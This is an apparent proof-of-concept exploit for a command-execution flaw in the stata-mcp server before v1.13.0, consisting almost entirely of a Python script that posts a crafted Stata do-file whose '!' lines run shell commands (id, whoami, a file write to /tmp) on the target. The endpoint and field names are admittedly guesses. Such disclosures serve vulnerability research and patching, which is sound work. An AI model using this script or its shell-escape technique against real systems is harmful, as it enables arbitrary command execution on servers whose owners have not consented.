A vulnerability was identified in stata-mcp prior to v1.13.0 where insufficient validation of user-supplied Stata do-file content can lead to command execution.
The following code is for security research and authorized testing only.
python
import requests
# Target URL (Example, replace with actual vulnerable endpoint)
target_url = "http://vulnerable-host:port/api/execute"
# Malicious Stata do-file content
# Stata allows shell command execution using the '!' prefix
malicious_payload = """
* This is a malicious do-file
display "Executing arbitrary command..."
! id
! whoami
! echo "CVE-2026-31040 PoC" > /tmp/poc.txt
"""
# Headers (if authentication is not required, headers might be minimal)
headers = {
"Content-Type": "application/json"
}
# Data payload structure (depends on API implementation)
data = {
"dofile_content": malicious_payload
}
try:
print("[*] Sending PoC payload to target...")
response = requests.post(target_url, json=data, headers=headers, timeout=10)
if response.status_code == 200:
print("[+] Payload sent successfully.")
print("[+] Response from server:")
print(response.text)
else:
print(f"[-] Server returned status code: {response.status_code}")
print(response.text)
except Exception as e:
print(f"[-] An error occurred: {e}")